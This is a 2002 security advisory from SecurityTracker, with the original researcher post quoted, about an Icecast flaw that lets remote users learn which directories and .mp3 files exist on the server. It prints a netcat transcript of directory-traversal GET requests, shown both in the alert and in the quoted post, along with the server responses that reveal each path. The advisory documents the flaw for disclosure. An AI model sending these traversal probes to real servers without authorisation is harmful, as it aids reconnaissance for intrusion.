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Category:   Application (Multimedia)  >   Icecast Vendors:   Icecast.org
Icecast Audio Streaming Server Discloses the Presence of Named Directories Located Anywhere on the System
SecurityTracker Alert ID:  1004734
SecurityTracker URL:  http://securitytracker.com/id/1004734
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 10 2002
Impact:   Disclosure of system information
Exploit Included:  Yes  

Description:   An information disclosure vulnerability was reported in Icecast. A remote user can determine if particular directories exist on the server.

It is reported that the Icecast list_directory() function does not properly filter user-supplied input or restrict directory access. A remote user can reportedly request specially crafted URLs to determine if named directories exist on the system, even for directories located outside of the static directory. A remote user can also determine if files with a '.mp3' extension exist.

A demonstration exploit transcript is provided:

% nc icecast.host 8000
GET /file/../../../../../../../../nonexistent/ HTTP/1.0

HTTP/1.0 404 Not Found
Server: icecast/1.3.12
Connection: close
Content-Type: text/html

% nc icecast.host 8000
GET /file/../../../../../../../../etc/ HTTP/1.0

HTTP/1.0 200 OK
Server: icecast/1.3.12
Connection: close
Content-Type: text/html

Impact:   A remote user can determine if specific directories exist on the system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.icecast.org/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  VANED LABS: icecast filesystem disclosure


list_directory() makes no effort to constrain the request to the static
directory.  Icecast allows for remote probing of the underlying
filesystem structure.  (on a side note, this can also be used to list
files with a .mp3 extension anywhere on the system.  send_file() does do
traversal checking.)

% nc icecast.host 8000
GET /file/../../../../../../../../nonexistent/ HTTP/1.0

HTTP/1.0 404 Not Found
Server: icecast/1.3.12
Connection: close
Content-Type: text/html

...

% nc icecast.host 8000
GET /file/../../../../../../../../etc/ HTTP/1.0

HTTP/1.0 200 OK
Server: icecast/1.3.12
Connection: close
Content-Type: text/html

...

 
 


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